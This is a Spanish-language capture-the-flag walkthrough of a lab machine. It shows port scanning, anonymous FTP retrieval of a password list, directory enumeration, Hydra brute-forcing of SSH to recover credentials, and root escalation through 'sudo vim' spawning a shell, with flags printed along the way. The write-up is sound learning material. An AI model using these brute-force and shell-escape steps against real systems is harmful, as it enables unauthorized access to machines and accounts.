Escaneo de puertos

```
nmap -p- --min-rate 5000 -sS <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-24 12:36 EDT
Nmap scan report for 192.168.5.139
Host is up (0.00038s latency).
         STATE SERVICE VERSION
PORT
21/tcp
        open ftp vsftpd 3.0.3
| ftp-syst:
   STAT:
  FTP server status:
      Connected to ::ffff:192.168.5.129
       Logged in as ftp
      TYPE: ASCII
      No session bandwidth limit
      Session timeout in seconds is 300
      Control connection is plain text
      Data connections will be plain text
      At session startup, client count was 3
      vsFTPd 3.0.3 - secure, fast, stable
 End of status
 ftp-anon: Anonymous FTP login allowed (FTP code 230)
                           1000
 -rw-r--r--
               1 1000
                                         47 Jun 18 2021 flag1.txt
  -rw-r--r--
               1 1000
                           1000
                                         849 Jun 19 2021 word.dir
        open http
                    Apache httpd 2.4.41 ((Ubuntu))
80/tcp
|_http-server-header: Apache/2.4.41 (Ubuntu)
http-title: hackathon2
| http-robots.txt: 1 disallowed entry
| */
                      OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
7223/tcp open ssh
ssh-hostkey:
    3072 70:4a:a9:69:c2:d1:68:23:86:bd:85:83:31:ca:80:0c (RSA)
    256 a6:9e:a4:18:ad:a4:2b:7e:ea:f8:5e:63:29:6e:4f:24 (ECDSA)
   256 4e:db:a6:d2:eb:b9:53:a5:d7:21:0b:4e:57:a5:f5:c1 (ED25519)
MAC Address: 00:0C:29:4B:DF:FF (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 4.X 5.X
OS CPE: cpe:/o:linux:linux kernel:4 cpe:/o:linux:linux kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux kernel
TRACEROUTE
HOP RTT
            ADDRESS
   0.38 ms 192.168.5.139
OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.19 seconds
```

ftp

ftp anonymous@<IP>

Habra 2 archivos que nos descargamos...

```
get flag1.txt
get word.dir
```

Dentro de los archivos...

```
#flag1.txt
FtA${7e3c118631b68d159d9399bda66fc684}
#word.dir
happy
123456
12345
123456789
password
iloveyou
princess
1234567
rockyou
12345678
abc123
nicole
daniel
babygirl
monkey
lovely
jessica
654321
michael
ashley
qwerty
111111
iloveu
000000
michelle
tigger
test123
sunshine
chocolate
password1
soccer
anthony
friends
butterfly
purple
angel
jordan
liverpool
justin
loveme
fuckyou
```

123123 football secret andrea carlos jennifer joshua tiago TIAGo Ti@gO bubbles 1234567890 superman hannah amanda loveyou pretty basketball andrew angels tweety flower playboy hello elizabeth hottie tinkerbell charlie samantha barbie h@ckmE chelsea lovers teamo jasmine brandon 666666 shadow melissa eminem matthew robert danielle forever family jonathan 987654321 computer whatever dragon vanessa cookie naruto summer sweety

```
spongebob
joseph
junior
rootnik
softball
taylor
yellow
daniela
lauren
```

flag1.txt (flag1)

FtA\${7e3c118631b68d159d9399bda66fc684}

Por lo que se ve es una especie de diccionario de passwords el archivo llamado word.dir...

Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST>
```

Info:

```
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
______
[+] Url:
                     http://192.168.5.139/
[+] Method:
                    GET
[+] Threads:
                    10
[+] Wordlist:
                    /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent:
                    gobuster/3.6
[+] Timeout:
                    10s
------
Starting gobuster in directory enumeration mode
______
/.htaccess
                (Status: 403) [Size: 278]
/.htpasswd
              (Status: 403) [Size: 278]
/happy (Status: 200) [Size: 110]
/robots.txt (Status: 200) [Size: 70]
/server-status (Status: 403) [Size: 278]
Progress: 20469 / 20470 (100.00%)
------
Finished
______
```

Si nos vamos a la ubicación de /happy/ veremos una pagina en la que aparentemente no hay nada, pero si inspeccionamos el codigo...

```
<!-- username: hackathon1l >
```

Vemos que nos muestra un user por lo que tiraremos un hydra con el diccionario que nos proporcionaron en el ftp...

```
hydra -l hackathonll -P word.dir ssh://<IP>:7223/ -t 64
```

Info:

```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is non-
binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-24 12:45:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is
recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip
waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 110 login tries (1:1/p:110), ~2
tries per task
[DATA] attacking ssh://192.168.5.139:7223/
[7223][ssh] host: 192.168.5.139
                                 login: hackathonll
                                                        password: Ti@gO
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 21 final worker threads did not complete until
end.
[ERROR] 21 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-24 12:45:23
Veremos que las credenciales para conectarnos por ssh seran...
User = hackathonll
Password = Ti@gO
Por lo que nos conectamos por ssh...
ssh hackathonll@<IP>
```

Si hacemos sudo -1 veremos lo siguiente...

```
Matching Defaults entries for hackathonll on hackathon:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/snap/bin

User hackathonll may run the following commands on hackathon:
    (root) NOPASSWD: /usr/bin/vim
```

Por lo que seremos root haciendo lo siguiente...

```
sudo vim -c ':!/bin/sh'
```

Y una vez siendo root leemos la flag de su /home/...

flag2.txt (flag2)

FtAG{7e3c118631b68d159d9399bda66fc694}